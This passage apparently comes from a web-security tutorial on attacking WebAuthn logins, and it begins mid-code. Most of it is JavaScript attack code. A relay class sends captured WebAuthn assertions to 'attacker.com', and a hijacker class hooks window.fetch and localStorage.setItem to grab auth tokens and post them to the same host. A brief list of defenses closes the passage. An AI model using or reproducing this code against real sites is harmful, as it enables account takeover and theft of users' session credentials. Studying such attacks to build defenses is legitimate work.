        signature: btoa(String.fromCharCode(...new Uint8Array(assertion.response.signature))),
        userHandle: assertion.response.userHandle ? btoa(String.fromCharCode(...new Uint8Array(assertion.response.userHandle))) : null
      },
      type: assertion.type
    };
    
    // Send to attacker server
    await fetch(`https://${this.attackerServer}/relay-assertion`, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({
        assertion: assertionJSON,
        timestamp: Date.now()
      })
    });
    
    console.log('[+] WebAuthn assertion relayed to attacker');
  }
}

// Initialize relay attack
const relayAttacker = new WebAuthnRelayAttacker('bank.com', 'attacker.com');
relayAttacker.setupRelay();
relayAttacker.initiatePhishing();

Session Fixation After WebAuthn

Click to expand code
javascript
// After victim successfully authenticates with WebAuthn,
// attacker can still hijack session if tokens stored in localStorage

class PostWebAuthnHijacker {
  // Monitor for successful WebAuthn authentication
  monitorWebAuthnSuccess() {
    // Intercept fetch/XHR responses
    const originalFetch = window.fetch;
    window.fetch = async function(...args) {
      const response = await originalFetch.apply(this, args);
      
      // Clone response to read body
      const clone = response.clone();
      
      try {
        const data = await clone.json();
        
        // Check for auth tokens in response
        if (data.accessToken || data.token || data.sessionId) {
          console.log('[!] Auth token captured after WebAuthn:', data);
          
          // Exfiltrate token
          await originalFetch('https://attacker.com/post-webauthn-token', {
            method: 'POST',
            body: JSON.stringify({
              tokens: data,
              url: args[0],
              timestamp: Date.now()
            })
          });
        }
      } catch (e) {
        // Not JSON, ignore
      }
      
      return response;
    };
  }
  
  // Also monitor localStorage for token storage
  monitorLocalStorageTokens() {
    const originalSetItem = localStorage.setItem;
    localStorage.setItem = function(key, value) {
      // Check if this looks like a token
      if (value && value.length > 20) {
        console.log('[!] Token stored in localStorage after WebAuthn:', { key, value });
        
        fetch('https://attacker.com/localStorage-token', {
          method: 'POST',
          body: JSON.stringify({ key, value, timestamp: Date.now() })
        });
      }
      
      return originalSetItem.apply(this, arguments);
    };
  }
}

const postWebAuthnHijacker = new PostWebAuthnHijacker();
postWebAuthnHijacker.monitorWebAuthnSuccess();
postWebAuthnHijacker.monitorLocalStorageTokens();

Defense Strategies

Against Password Manager Theft:

  • Use Content Security Policy to block exfiltration
  • Implement rate limiting on login attempts
  • Monitor for suspicious DOM manipulation
  • Require 2FA/MFA beyond password manager

Against WebAuthn Relay:

  • Implement additional out-of-band verification
  • Use attestation to verify hardware token
  • Monitor for unusual authentication patterns
  • Rate limit authentication attempts
  • Require user presence verification

General Credential Protection:

  • Never store tokens in localStorage (use HttpOnly cookies)
  • Implement short-lived tokens with refresh mechanism
  • Use SameSite=Strict cookies
  • Implement CSRF tokens for all state-changing operations
  • Monitor for credential stuffing attacks